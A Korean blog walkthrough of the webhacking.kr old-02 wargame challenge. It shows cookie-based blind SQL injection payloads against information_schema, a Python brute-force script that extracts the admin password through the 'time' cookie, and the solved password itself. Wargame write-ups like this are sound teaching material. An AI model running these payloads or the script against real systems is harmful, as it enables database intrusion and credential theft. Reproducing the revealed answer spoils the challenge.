해킹

[Webhacking.kr] old-02번 문제 풀이 -최신

고딩프로그래머 2024. 12. 31. 15:59
728x90

 

https://webhacking.kr/challenge/web-02/

webhacking.kr

 
문제 페이지 등장

문제인데 ... 뭐

F12누르니까

F12

주소에 넣으라는 표시 ㅋㅋㅋ
문제의 페이지 소스를 보시면 힌트를 얻을 수 있는 단서를 찾을 수 있습니다.

1번 힌트 : 시간

2번 힌트 : admin.php가 존재

https://webhacking.kr/challenge/web-02/admin.php

webhacking.kr

 

주소에 넣었더니 ㅎㅎ 끝아니였넿

 

EditThisCookie 사용해본 결과
유닉스 타임스탬

쿠키값이 유닉스 타임스탬프(접속 시간)를 가리키는 것을 알고 변환해주면 쿠키값이 시간을 나타낸다는 것을 알아냈당
1. 테이블 수 추출

: (select count(table_name) from information_schema.tables where table_schema=database())
* information_schema.tables : 데이터베이스에 있는 모든 테이블 정보를 가지고 있는 테이블임.

수정 중

변경이 되는구나 ㅎ
09:00:02 인 것으로 보아 테이블 개수는 2개로 파악되는데...

2. 테이블 길이 추출

: (select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)
* limit pos, len : 출력 레코드의 개수를 제한하는 함수로 pos는 시작 행을 의미하며 0부터 시작, len은 개수를 의미한다. limit 0,1은 첫 번째부터 1개의 레코드를 의미하며, pos값을 1씩 증가시키면 다음 레코드를 하나씩 순서대로 추출할 수 있는데

09:00:13 인 것으로 보아 첫 번째 테이블은 13자리
3. 테이블 명 추출

(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0,1)

* substr(문자열, pos, len) : 문자열을 pos부터 len만큼 부분 문자열을 추출하는 함수로 pos는 1부터 시작한다. pos값을 1씩 증가시키면 테이블명 문자를 하나씩 순서대로 추출할 수 있어.

09:01:37 인 것으로 1분 37초 -> 97초 아스키코드 97 -> 'a'

import requests

url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""

for i in range(1,100):
    if ck ==1:
        break
    for k in range(33,133):
        cookies={"Cookie" : "PHPSESSID=세션값; time=0 ||"
                            " if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,k)}
        r =requests.get(url,cookies=cookies)
        if r.text.find("09:00:01") != -1:
            pw+=chr(k)
            break
        if k == 132:
            ck =1
print("Password : {}".format(pw))

비번kudos_to_beistlab

728x90